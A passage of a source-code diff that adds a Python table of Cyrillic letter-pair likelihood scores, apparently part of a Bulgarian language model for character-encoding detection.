0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 2, # 'а' + 18: 0, # 'б' + 9: 2, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 2, # 'е' + 23: 0, # 'ж' + 15: 1, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 0, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 1, # 'о' + 13: 0, # 'п' + 7: 1, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 1, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 50: { # 'Ч' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 2, # 'А' + 32: 1, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 1, # 'З' + 40: 1, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 0, # 'М' + 36: 1, # 'Н' + 41: 1, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 1, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 2, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 3, # 'е' + 23: 1, # 'ж' + 15: 0, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 1, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 2, # 'о' + 13: 0, # 'п' + 7: 1, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 1, # 'ъ' + 52: 1, # 'ь' + 42: 0, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 54: { # 'Ш' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 1, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 1, # 'З' + 40: 1, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 1, # 'Н' + 41: 1, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 1, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 2, # 'а' + 18: 0, # 'б' + 9: 2, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 2, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 1, # 'к' + 10: 1, # 'л' + 14: 1, # 'м' + 6: 1, # 'н' + 4: 2, # 'о' + 13: 1, # 'п' + 7: 1, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 1, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 1, # 'ъ' + 52: 1, # 'ь' + 42: 0, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 57: { # 'Щ' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 1, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 1, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 1, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 2, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 2, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 1, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 0, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 1, # 'о' + 13: 0, # 'п' + 7: 1, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 1, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 61: { # 'Ъ' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 1, # 'Б' + 35: 1, # 'В' + 43: 0, # 'Г' + 37: 1, # 'Д' + 44: 0, # 'Е' + 55: 1, # 'Ж' + 47: 1, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 2, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 0, # 'О' + 30: 1, # 'П' + 39: 2, # 'Р' + 28: 1, # 'С' + 34: 1, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 1, # 'Х' + 53: 1, # 'Ц' + 50: 1, # 'Ч' + 54: 1, # 'Ш' + 57: 1, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 0, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 0, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 0, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 1, # 'л' + 14: 0, # 'м' + 6: 1, # 'н' + 4: 0, # 'о' + 13: 0, # 'п' + 7: 1, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 0, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 60: { # 'Ю' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 1, # 'А' + 32: 1, # 'Б' + 35: 0, # 'В' + 43: 1, # 'Г' + 37: 1, # 'Д' + 44: 0, # 'Е' + 55: 1, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 0, # 'М' + 36: 1, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 1, # 'Р' + 28: 1, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 0, # 'а' + 18: 1, # 'б' + 9: 1, # 'в' + 20: 2, # 'г' + 11: 1, # 'д' + 3: 0, # 'е' + 23: 2, # 'ж' + 15: 1, # 'з' + 2: 1, # 'и' + 26: 0, # 'й' + 12: 1, # 'к' + 10: 1, # 'л' + 14: 1, # 'м' + 6: 1, # 'н' + 4: 0, # 'о' + 13: 1, # 'п' + 7: 1, # 'р' + 8: 1, # 'с' + 5: 1, # 'т' + 19: 0, # 'у' + 29: 0, # 'ф' + 25: 1, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 56: { # 'Я' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 1, # 'Б' + 35: 1, # 'В' + 43: 1, # 'Г' + 37: 1, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 1, # 'С' + 34: 2, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 0, # 'а' + 18: 1, # 'б' + 9: 1, # 'в' + 20: 1, # 'г' + 11: 1, # 'д' + 3: 0, # 'е' + 23: 0, # 'ж' + 15: 1, # 'з' + 2: 1, # 'и' + 26: 1, # 'й' + 12: 1, # 'к' + 10: 1, # 'л' + 14: 2, # 'м' + 6: 2, # 'н' + 4: 0, # 'о' + 13: 2, # 'п' + 7: 1, # 'р' + 8: 1, # 'с' + 5: 1, # 'т' + 19: 0, # 'у' + 29: 0, # 'ф' + 25: 1, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 1, # 'ш' + 24: 0, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 1: { # 'а' + 63: 1, # 'e' + 45: 1, # '\xad' + 31: 1, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 1, # 'а' + 18: 3, # 'б' + 9: 3, # 'в' + 20: 3, # 'г' + 11: 3, # 'д' + 3: 3, # 'е' + 23: 3, # 'ж' + 15: 3, # 'з' + 2: 3, # 'и' + 26: 3, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 3, # 'м' + 6: 3, # 'н' + 4: 2, # 'о' + 13: 3, # 'п' + 7: 3, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 3, # 'у' + 29: 3, # 'ф' + 25: 3, # 'х' + 22: 3, # 'ц' + 21: 3, # 'ч' + 27: 3, # 'ш' + 24: 3, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 18: { # 'б' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 0, # 'б' + 9: 3, # 'в' + 20: 1, # 'г' + 11: 2, # 'д' + 3: 3, # 'е' + 23: 1, # 'ж' + 15: 1, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 1, # 'к' + 10: 3, # 'л' + 14: 2, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 1, # 'п' + 7: 3, # 'р' + 8: 3, # 'с' + 5: 0, # 'т' + 19: 3, # 'у' + 29: 0, # 'ф' + 25: 2, # 'х' + 22: 1, # 'ц' + 21: 1, # 'ч' + 27: 1, # 'ш' + 24: 3, # 'щ' + 17: 3, # 'ъ' + 52: 1, # 'ь' + 42: 2, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 9: { # 'в' + 63: 1, # 'e' + 45: 1, # '\xad' + 31: 0, # 'А' + 32: 1, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 1, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 1, # 'б' + 9: 0, # 'в' + 20: 2, # 'г' + 11: 3, # 'д' + 3: 3, # 'е' + 23: 1, # 'ж' + 15: 3, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 2, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 2, # 'п' + 7: 3, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 2, # 'х' + 22: 2, # 'ц' + 21: 3, # 'ч' + 27: 2, # 'ш' + 24: 1, # 'щ' + 17: 3, # 'ъ' + 52: 1, # 'ь' + 42: 2, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 20: { # 'г' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 1, # 'б' + 9: 2, # 'в' + 20: 1, # 'г' + 11: 2, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 1, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 1, # 'к' + 10: 3, # 'л' + 14: 1, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 1, # 'п' + 7: 3, # 'р' + 8: 2, # 'с' + 5: 2, # 'т' + 19: 3, # 'у' + 29: 1, # 'ф' + 25: 1, # 'х' + 22: 0, # 'ц' + 21: 1, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 3, # 'ъ' + 52: 1, # 'ь' + 42: 1, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 11: { # 'д' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 2, # 'б' + 9: 3, # 'в' + 20: 2, # 'г' + 11: 2, # 'д' + 3: 3, # 'е' + 23: 3, # 'ж' + 15: 2, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 3, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 3, # 'п' + 7: 3, # 'р' + 8: 3, # 'с' + 5: 1, # 'т' + 19: 3, # 'у' + 29: 1, # 'ф' + 25: 2, # 'х' + 22: 2, # 'ц' + 21: 2, # 'ч' + 27: 1, # 'ш' + 24: 1, # 'щ' + 17: 3, # 'ъ' + 52: 1, # 'ь' + 42: 1, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 3: { # 'е' + 63: 0, # 'e' + 45: 1, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 2, # 'а' + 18: 3, # 'б' + 9: 3, # 'в' + 20: 3, # 'г' + 11: 3, # 'д' + 3: 2, # 'е' + 23: 3, # 'ж' + 15: 3, # 'з' + 2: 2, # 'и' + 26: 3, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 3, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 3, # 'п' + 7: 3, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 2, # 'у' + 29: 3, # 'ф' + 25: 3, # 'х' + 22: 3, # 'ц' + 21: 3, # 'ч' + 27: 3, # 'ш' + 24: 3, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 23: { # 'ж' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 3, # 'б' + 9: 2, # 'в' + 20: 1, # 'г' + 11: 3, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 2, # 'к' + 10: 1, # 'л' + 14: 1, # 'м' + 6: 3, # 'н' + 4: 2, # 'о' + 13: 1, # 'п' + 7: 1, # 'р' + 8: 1, # 'с' + 5: 1, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 1, # 'ц' + 21: 1, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 2, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 15: { # 'з' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 3, # 'б' + 9: 3, # 'в' + 20: 3, # 'г' + 11: 3, # 'д' + 3: 3, # 'е' + 23: 1, # 'ж' + 15: 1, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 3, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 3, # 'п' + 7: 3, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 3, # 'у' + 29: 1, # 'ф' + 25: 2, # 'х' + 22: 2, # 'ц' + 21: 2, # 'ч' + 27: 2, # 'ш' + 24: 1, # 'щ' + 17: 2, # 'ъ' + 52: 1, # 'ь' + 42: 1, # 'ю' + 16: 2, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 2: { # 'и' + 63: 1, # 'e' + 45: 1, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 1, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 1, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 1, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 3, # 'б' + 9: 3, # 'в' + 20: 3, # 'г' + 11: 3, # 'д' + 3: 3, # 'е' + 23: 3, # 'ж' + 15: 3, # 'з' + 2: 3, # 'и' + 26: 3, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 3, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 3, # 'п' + 7: 3, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 2, # 'у' + 29: 3, # 'ф' + 25: 3, # 'х' + 22: 3, # 'ц' + 21: 3, # 'ч' + 27: 3, # 'ш' + 24: 3, # 'щ' + 17: 2, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 26: { # 'й' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 1, # 'а' + 18: 2, # 'б' + 9: 2, # 'в' + 20: 1, # 'г' + 11: 2, # 'д' + 3: 2, # 'е' + 23: 0, # 'ж' + 15: 2, # 'з' + 2: 1, # 'и' + 26: 0, # 'й' + 12: 3, # 'к' + 10: 2, # 'л' + 14: 2, # 'м' + 6: 3, # 'н' + 4: 2, # 'о' + 13: 1, # 'п' + 7: 2, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 1, # 'у' + 29: 2, # 'ф' + 25: 1, # 'х' + 22: 2, # 'ц' + 21: 2, # 'ч' + 27: 1, # 'ш' + 24: 1, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 12: { # 'к' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 1, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 1, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 1, # 'б' + 9: 3, # 'в' + 20: 2, # 'г' + 11: 1, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 2, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 1, # 'к' + 10: 3, # 'л' + 14: 2, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 1, # 'п' + 7: 3, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 3, # 'у' + 29: 1, # 'ф' + 25: 1, # 'х' + 22: 3, # 'ц' + 21: 2, # 'ч' + 27: 1, # 'ш' + 24: 0, # 'щ' + 17: 3, # 'ъ' + 52: 1, # 'ь' + 42: 2, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 10: { # 'л' + 63: 1, # 'e' + 45: 1, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 1, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 3, # 'б' + 9: 3, # 'в' + 20: 3, # 'г' + 11: 2, # 'д' + 3: 3, # 'е' + 23: 3, # 'ж' + 15: 2, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 3, # 'к' + 10: 1, # 'л' + 14: 2, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 2, # 'п' + 7: 2, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 3, # 'у' + 29: 2, # 'ф' + 25: 2, # 'х' + 22: 2, # 'ц' + 21: 2, # 'ч' + 27: 2, # 'ш' + 24: 1, # 'щ' + 17: 3, # 'ъ' + 52: 2, # 'ь' + 42: 3, # 'ю' + 16: 3, # 